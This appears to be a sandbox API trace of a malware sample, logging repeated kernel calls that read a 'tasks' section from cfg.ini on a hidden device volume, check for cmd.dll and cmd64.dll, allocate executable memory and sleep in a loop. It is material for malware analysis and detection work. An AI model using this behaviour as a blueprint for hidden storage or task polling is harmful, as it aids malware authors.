MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.790] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.790] IdePortDispatch () returned 0x103 [0119.790] KeWaitForMutexObject () returned 0x0 [0119.791] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.791] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.791] IdePortDispatch () returned 0x103 [0119.791] KeWaitForMutexObject () returned 0x0 [0119.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.791] KeLeaveCriticalRegion () [0119.791] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.791] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.791] KeEnterCriticalRegion () [0119.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.791] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.791] KeLeaveCriticalRegion () [0119.791] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.791] KeEnterCriticalRegion () [0119.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.792] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.792] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.792] KeLeaveCriticalRegion () [0119.792] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.792] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.792] KeEnterCriticalRegion () [0119.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.792] ExFreePoolWithTag (P=0xfffffa8003bcaeb0, Tag=0x0) [0119.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.792] KeLeaveCriticalRegion () [0119.792] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.792] ReleaseMutex (hMutex=0xf0) returned 1 [0119.792] Sleep (dwMilliseconds=0x927c0) [0119.808] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.808] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.808] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.808] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.808] KeEnterCriticalRegion () [0119.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.808] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.808] IdePortDispatch () returned 0x103 [0119.808] KeWaitForMutexObject () returned 0x0 [0119.808] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.808] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.808] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.808] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.808] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.808] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bccb10 [0119.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.808] KeLeaveCriticalRegion () [0119.808] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.808] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.808] KeEnterCriticalRegion () [0119.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.808] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.808] KeLeaveCriticalRegion () [0119.809] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.809] KeEnterCriticalRegion () [0119.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.809] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.809] IdePortDispatch () returned 0x103 [0119.809] KeWaitForMutexObject () returned 0x0 [0119.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.809] KeLeaveCriticalRegion () [0119.809] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.809] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.809] KeEnterCriticalRegion () [0119.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.809] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e3000 [0119.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.809] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.809] IdePortDispatch () returned 0x103 [0119.809] KeWaitForMutexObject () returned 0x0 [0119.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.810] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.810] IdePortDispatch () returned 0x103 [0119.810] KeWaitForMutexObject () returned 0x0 [0119.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.810] KeLeaveCriticalRegion () [0119.810] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.810] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.810] KeEnterCriticalRegion () [0119.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.810] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.810] KeLeaveCriticalRegion () [0119.810] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.810] KeEnterCriticalRegion () [0119.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.810] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.811] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcc4f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.811] KeLeaveCriticalRegion () [0119.811] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.811] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.811] KeEnterCriticalRegion () [0119.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.811] ExFreePoolWithTag (P=0xfffffa8003bccb10, Tag=0x0) [0119.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.811] KeLeaveCriticalRegion () [0119.811] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.811] ReleaseMutex (hMutex=0xf0) returned 1 [0119.811] Sleep (dwMilliseconds=0x927c0) [0119.826] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.826] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.826] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.826] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.826] KeEnterCriticalRegion () [0119.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.826] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.826] IdePortDispatch () returned 0x103 [0119.826] KeWaitForMutexObject () returned 0x0 [0119.826] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.826] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.826] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.826] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.826] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.826] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaeb0 [0119.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.827] KeLeaveCriticalRegion () [0119.827] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.827] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.827] KeEnterCriticalRegion () [0119.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.827] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.827] KeLeaveCriticalRegion () [0119.827] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.827] KeEnterCriticalRegion () [0119.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.827] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.827] IdePortDispatch () returned 0x103 [0119.827] KeWaitForMutexObject () returned 0x0 [0119.827] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.827] KeLeaveCriticalRegion () [0119.827] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.827] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.827] KeEnterCriticalRegion () [0119.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.827] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e8000 [0119.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.827] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.827] IdePortDispatch () returned 0x103 [0119.828] KeWaitForMutexObject () returned 0x0 [0119.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.828] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.828] IdePortDispatch () returned 0x103 [0119.828] KeWaitForMutexObject () returned 0x0 [0119.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.828] KeLeaveCriticalRegion () [0119.828] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.828] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.828] KeEnterCriticalRegion () [0119.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.829] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.829] KeLeaveCriticalRegion () [0119.829] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.829] KeEnterCriticalRegion () [0119.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.829] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.829] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.829] KeLeaveCriticalRegion () [0119.829] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.829] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.829] KeEnterCriticalRegion () [0119.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.829] ExFreePoolWithTag (P=0xfffffa8003bcaeb0, Tag=0x0) [0119.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.829] KeLeaveCriticalRegion () [0119.829] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.829] ReleaseMutex (hMutex=0xf0) returned 1 [0119.829] Sleep (dwMilliseconds=0x927c0) [0119.843] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.843] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.844] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.844] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.844] KeEnterCriticalRegion () [0119.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.844] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.844] IdePortDispatch () returned 0x103 [0119.844] KeWaitForMutexObject () returned 0x0 [0119.844] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.844] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.844] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.844] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.844] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.844] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc970 [0119.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.844] KeLeaveCriticalRegion () [0119.844] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.844] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.844] KeEnterCriticalRegion () [0119.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.844] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.844] KeLeaveCriticalRegion () [0119.844] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.844] KeEnterCriticalRegion () [0119.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.844] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.844] IdePortDispatch () returned 0x103 [0119.845] KeWaitForMutexObject () returned 0x0 [0119.845] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.845] KeLeaveCriticalRegion () [0119.845] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.845] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.845] KeEnterCriticalRegion () [0119.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.845] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ed000 [0119.845] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.845] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.845] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.845] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.845] IdePortDispatch () returned 0x103 [0119.845] KeWaitForMutexObject () returned 0x0 [0119.845] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.845] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.845] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.845] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.845] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.845] IdePortDispatch () returned 0x103 [0119.845] KeWaitForMutexObject () returned 0x0 [0119.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.846] KeLeaveCriticalRegion () [0119.846] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.846] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.846] KeEnterCriticalRegion () [0119.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.846] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.846] KeLeaveCriticalRegion () [0119.846] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.846] KeEnterCriticalRegion () [0119.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.847] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.847] FsRtlFastUnlockAll 